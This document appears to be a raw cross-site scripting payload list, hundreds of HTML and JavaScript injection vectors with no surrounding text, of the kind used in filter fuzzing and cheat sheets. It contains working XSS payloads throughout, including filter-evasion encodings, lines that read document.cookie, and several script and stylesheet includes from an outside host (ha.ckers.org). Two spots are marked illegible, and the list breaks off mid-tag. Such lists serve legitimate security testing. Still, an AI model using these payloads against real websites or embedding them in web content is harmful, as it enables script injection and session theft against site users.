

```

"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
<image/src/onerror=prompt(8)>
<img/src/onerror=prompt(8)>
<image src/onerror=prompt(8)>
<img src/onerror=prompt(8)>
<image src =q onerror=prompt(8)>
<img src =q onerror=prompt(8)>
</scrip</script>t<img src =q onerror=prompt(8)>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'\`><\x3Cscript>javascript:alert(1)</script>
'\`><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<script src=1 href=1 onerror="javascript:alert(1)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title
onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body
onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset
onScroll>
<script onReadyStateChange script
onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html
onMouseUp>
<body onPropertyChange body
onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body
onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body
onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound
onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html
onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html
onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe
onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body
onPageShow>

```

```

<style onReadyStateChange style
onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset
onFocus>
<applet onError applet onError="javascript:javascript:alert(1)"></applet
onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee
onStart>
<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html
onMouseOver>
<html onMouseEnter html
onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body
onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html
onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee
onScroll>
<xml onPropertyChange xml
onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset
onBlur>
<applet onReadyStateChange applet
onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html
onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body
onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<object onError object onError="javascript:javascript:alert(1)"></object
onError>
<body onPopState body onPopState="javascript:javascript:alert(1)"></body
onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html
onMouseMove>
<applet onreadystatechange applet
onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body
onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet
onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html
onmouseover>
<object onbeforeload object
onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body
onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body
onkeydown>
<iframe onbeforeload iframe
onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html
onmousemove>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>

```

```
\x3Cscript>javascript:alert(1)</script>
'"`><script>/* *\x2Fjavascript:alert(1)// */</script>
<script>javascript:alert(1)</script\x0D
<script>javascript:alert(1)</script\x0A
<script>javascript:alert(1)</script\x0B
<script charset="\x22>javascript:alert(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
`"'><img src='#\x27 onerror=javascript:alert(1)>
<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
'"`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:alert(1)// */</script>
<script>/* *\x00/javascript:alert(1)// */</script>
<style></style\x3E</style>
<style></style\x0D</style>
<style></style\x09</style>
<style></style\x20</style>
<style></style\x0A</style>
"'`>ABC<div
style="font-family: 'foo'\x7Dx:expression(javascript:alert(1);/*');">DEF
"'`>ABC<div
style="font-family: 'foo'\x3Bx:expression(javascript:alert(1);/*');">DEF
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
<script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
<script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
'"`><\x3Cscript>javascript:alert(1)</script>
'"`><\x00script>javascript:alert(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
"'`><\x00img src=xxx:x onerror=javascript:alert(1)>
<script src="data:text/plain\x2Cjavascript:alert(1)"></script>
<script src="data:\xD4\x8F,javascript:alert(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
<script src="data:\xCB\x8F,javascript:alert(1)"></script>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
ABC<div style="x\x3Aexpression(javascript:alert(1))">DEF
ABC<div style="x:expression\x5C(javascript:alert(1))">DEF
ABC<div style="x:expression\x00(javascript:alert(1))">DEF
ABC<div style="x:exp\x00ression(javascript:alert(1))">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(1))">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(1))">DEF
```

[illegible]

```
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
`"><img src=xxx:x \x0Aonerror=javascript:alert(1)>
`"><img src=xxx:x \x22onerror=javascript:alert(1)>
`"><img src=xxx:x \x0Bonerror=javascript:alert(1)>
`"><img src=xxx:x \x0Donerror=javascript:alert(1)>
`"><img src=xxx:x \x2Fonerror=javascript:alert(1)>
`"><img src=xxx:x \x09onerror=javascript:alert(1)>
`"><img src=xxx:x \x0Conerror=javascript:alert(1)>
`"><img src=xxx:x \x00onerror=javascript:alert(1)>
`"><img src=xxx:x \x27onerror=javascript:alert(1)>
`"><img src=xxx:x \x20onerror=javascript:alert(1)>
`"><script>\x3Bjavascript:alert(1)</script>
`"><script>\x0Djavascript:alert(1)</script>
`"><script>\xEF\xBB\xBFjavascript:alert(1)</script>
`"><script>\xE2\x80\x81javascript:alert(1)</script>
`"><script>\xE2\x80\x84javascript:alert(1)</script>
`"><script>\xE3\x80\x80javascript:alert(1)</script>
`"><script>\x09javascript:alert(1)</script>
`"><script>\xE2\x80\x89javascript:alert(1)</script>
`"><script>\xE2\x80\x85javascript:alert(1)</script>
`"><script>\xE2\x80\x88javascript:alert(1)</script>
`"><script>\x00javascript:alert(1)</script>
`"><script>\xE2\x80\xA8javascript:alert(1)</script>
`"><script>\xE2\x80\xAjavascript:alert(1)</script>
`"><script>\xE1\x9A\x80javascript:alert(1)</script>
`"><script>\x0Cjavascript:alert(1)</script>
`"><script>\x2Bjavascript:alert(1)</script>
`"><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
`"><script>-javascript:alert(1)</script>
`"><script>\x0Ajavascript:alert(1)</script>
`"><script>\xE2\x80\xAFjavascript:alert(1)</script>
`"><script>\x7Ejavascript:alert(1)</script>
`"><script>\xE2\x80\x87javascript:alert(1)</script>
`"><script>\xE2\x81\x9Fjavascript:alert(1)</script>
`"><script>\xE2\x80\xA9javascript:alert(1)</script>
`"><script>\xC2\x85javascript:alert(1)</script>
`"><script>\xEF\xBF\xAEjavascript:alert(1)</script>
`"><script>\xE2\x80\x83javascript:alert(1)</script>
`"><script>\xE2\x80\x8Bjavascript:alert(1)</script>
`"><script>\xEF\xBF\xBEjavascript:alert(1)</script>
`"><script>\xE2\x80\x80javascript:alert(1)</script>
`"><script>\x21javascript:alert(1)</script>
`"><script>\xE2\x80\x82javascript:alert(1)</script>
`"><script>\xE2\x80\x86javascript:alert(1)</script>
`"><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
`"><script>\x0Bjavascript:alert(1)</script>
`"><script>\x20javascript:alert(1)</script>
`"><script>\xC2\xA0javascript:alert(1)</script>
"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
```

```
"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
<script\x2F>javascript:alert(1)</script>
<script\x20>javascript:alert(1)</script>
<script\x0D>javascript:alert(1)</script>
<script\x0A>javascript:alert(1)</script>
<script\x0C>javascript:alert(1)</script>
<script\x00>javascript:alert(1)</script>
<script\x09>javascript:alert(1)</script>
`"><img src=xxx:x onerror\x0B=javascript:alert(1)>
`"><img src=xxx:x onerror\x00=javascript:alert(1)>
`"><img src=xxx:x onerror\x0C=javascript:alert(1)>
`"><img src=xxx:x onerror\x0D=javascript:alert(1)>
`"><img src=xxx:x onerror\x20=javascript:alert(1)>
`"><img src=xxx:x onerror\x0A=javascript:alert(1)>
`"><img src=xxx:x onerror\x09=javascript:alert(1)>
<script>javascript:alert(1)<\x00/script>
<img src=# onerror\x3D"javascript:alert(1)" >
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
<video poster=javascript:javascript:alert(1)//
<body
onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br>
<br><br><br><br>...<br><br><br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><b
r><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br><br>...<br><br><br>
<br><input autofocus>
<form id=test onforminput=javascript:alert(1)><input></form><button form=test
onformchange=javascript:alert(1)>X
<video><source onerror="javascript:javascript:alert(1)">
<video onerror="javascript:javascript:alert(1)"><source>
<form><button formaction="javascript:javascript:alert(1)">X
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction
actiontype="statusline#http://google.com"
xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--
<comment>
<![>
<style>
<li style=list-style:url() onerror=javascript:alert(1)> <div
style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden
onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a
href="/. /, javascript:alert(1)//"#>XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM
NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<object data="data:text/html;base64,%(base64)s">
<embed src="data:text/html;base64,%(base64)s">
<b <script>alert(1)</script>>
<div id="div1"><input value="`"onmouseover=javascript:alert(1)"></div> <div
id="div2"></div><script>document.getElementById("div2").innerHTML =
document.getElementById("div1").innerHTML;</script>
<x '="foo"><x foo="><img src=x onerror=javascript:alert(1)//">
<embed src="javascript:alert(1)">

<image src="javascript:alert(1)">
<script src="javascript:alert(1)">
```

```
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<? foo="><script>javascript:alert(1)</script>">
<! foo="><script>javascript:alert(1)</script>">
</ foo="><script>javascript:alert(1)</script>">
<? foo="><x foo='?'><script>javascript:alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo"><script>javascript:alert(1)</script>">
<% foo><x foo="%><script>javascript:alert(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div>
<script>d.innerHTML=d.innerHTML</script>
<img \x00src=x onerror="alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x11src=x onerror="javascript:alert(1)">
<img \x12src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x10src=x onerror="javascript:alert(1)">
<img\x13src=x onerror="javascript:alert(1)">
<img\x32src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x11src=x onerror="javascript:alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x34src=x onerror="javascript:alert(1)">
<img \x39src=x onerror="javascript:alert(1)">
<img \x00src=x onerror="javascript:alert(1)">
<img src\x09=x onerror="javascript:alert(1)">
<img src\x10=x onerror="javascript:alert(1)">
<img src\x13=x onerror="javascript:alert(1)">
<img src\x32=x onerror="javascript:alert(1)">
<img src\x12=x onerror="javascript:alert(1)">
<img src\x11=x onerror="javascript:alert(1)">
<img src\x00=x onerror="javascript:alert(1)">
<img src\x47=x onerror="javascript:alert(1)">
<img src=x\x09onerror="javascript:alert(1)">
<img src=x\x10onerror="javascript:alert(1)">
<img src=x\x11onerror="javascript:alert(1)">
<img src=x\x12onerror="javascript:alert(1)">
<img src=x\x13onerror="javascript:alert(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<img src=x onerror=\x09"javascript:alert(1)">
<img src=x onerror=\x10"javascript:alert(1)">
<img src=x onerror=\x11"javascript:alert(1)">
<img src=x onerror=\x12"javascript:alert(1)">
<img src=x onerror=\x32"javascript:alert(1)">
<img src=x onerror=\x00"javascript:alert(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>

<img src onerror /" '"= alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=y></a><img alt=""><img src=x:x
onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param
name=postdomevents /></object>
<a style="-o-link:'javascript:alert(1)';-o-link-source:current">X
<style>p[foo=bar{*}{-o-link:'javascript:alert(1)'}{*}{-o-link-
source:current}]{color:red};</style>
<link rel=stylesheet href=data, %7bx:expression(javascript:alert(1))%7d
<style>@import "data, %7bx:expression(javascript:alert(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;"
onclick="javascript:alert(1);">XXX</a></a><a
```

```
href="javascript:javascript:alert(1)">XXX</a>
<style>*[{ }@import'/(css)s?']</style>X
<div style="font-family:'foo&#10;;color:red;'">XXX
<div style="font-family:foo;color:red;">XXX
<div style=x:expression\28javascript:alert(1)\29>
<style>*{x:i½..i½`i½ i½ i½..i½`i½`i½i½ i½ (javascript:alert(1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)
\20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div>
<script>with(document.getElementById("d"))innerHTML=innerHTML</script>
<div style="background:url(/f&#127;oo/;color:red/*foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo;color:red/*foo.jpg);">X
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;#y];color:red;} </style>
<x style="background:url('x&#1;;color:red;/*')">XXX</x>
<script>({set/**/$( ){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
<script>Object.__noSuchMethod__ = Function, [{ }
[0].constructor.__('javascript:alert(1)')()</script>
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AG0&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbA
BLAHIAdAAoADEAKQ&ACAAPABi
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&&A9&11/script&X&
<meta charset="mac-farsi">Â¼scriptÂ¼javascript:alert(1)Â¼/scriptÂ¼
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time`
style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml`
to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
1<animate/xmlns=urn:schemas-microsoft-com:time
style=behavior:url(#default#time2) attributename=innerhtml
values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;
<vmlframe xmlns=urn:schemas-microsoft-com:vml
style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=
(vml)s#xss></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml
style=behavior:url(#default#vml);position:absolute
href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0
to=1000 /></a>
<a style="behavior:url(#default#AnchorClick);"
folder="javascript:javascript:alert(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="xss" src="% (htc)s"></xml> <label dataformatas="html" datasrc="#xss"
datafld="payload"></label>
<event-source src="% (event)s" onload="javascript:alert(1)">
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-
dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t"
implementation="#default#time2"> <t:set attributeName="innerHTML"
targetElement="x"
to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
<script>% (payload)s</script>
<script src= %(jscrip)t s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:alert(1)</script>
<IMG SRC="javascript:javascript:alert(1);">
<IMG SRC=javascript:javascript:alert(1)>
<IMG SRC=`javascript:javascript:alert(1)`>
<SCRIPT SRC= %(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
```



[illegible]

```

<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
<style onreadystatechange=javascript:javascript:alert(1);></style>
<?xml version="1.0"?><html:html
xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</
html:script></html:html>
<embed code=(scriptlet)s></embed>
<embed code=javascript:javascript:alert(1);></embed>
<embed src=(jscrip)s></embed>
<frameset onload=javascript:javascript:alert(1)></frameset>
<object onerror=javascript:javascript:alert(1)>
<embed type="image" src=(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas"]><![
CDATA[cript:javascript:alert(1);"]>]]</C><X></xml>
<IMG SRC=&{javascript:alert(1);}>
<a href="jav&#65ascript:javascript:alert(1)">test1</a>
<a href="jav&#97ascript:javascript:alert(1)">test1</a>
<embed width=500 height=500
code="data:text/html,<script>%(payload)s</script>"></embed>
<iframe
srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=ja
vascript:alert(1)&amp;gt;">
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//
";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover="alert(document.cookie)">xss link</a>
<a onmouseover=alert(document.cookie)>xss link</a>
<IMG """"><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xss')">
<IMG SRC= onmouseover="alert('xss')">
<IMG onmouseover="alert('xss')">
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#1
01;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00
00112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0
000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&
#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/\|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')">
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//

```

```
</TITLE><SCRIPT>alert('XSS');</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNsrc="javascript:alert('XSS')">
<IMG LOWsrc="javascript:alert('XSS')">
<STYLE>li {list-style-image:
url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port\'ja\vasc\ript:alert("XSS");</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*/")';xss:ex/*XSS*/***/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE> .XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
&#106;script&#106;alert(&#106;XSS&#106;)&#106;/script&#106;
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:
\\0075\\0072\\006c\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\006
1\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029">
<DIV STYLE="background-image: url(&#106;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet"
DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC="
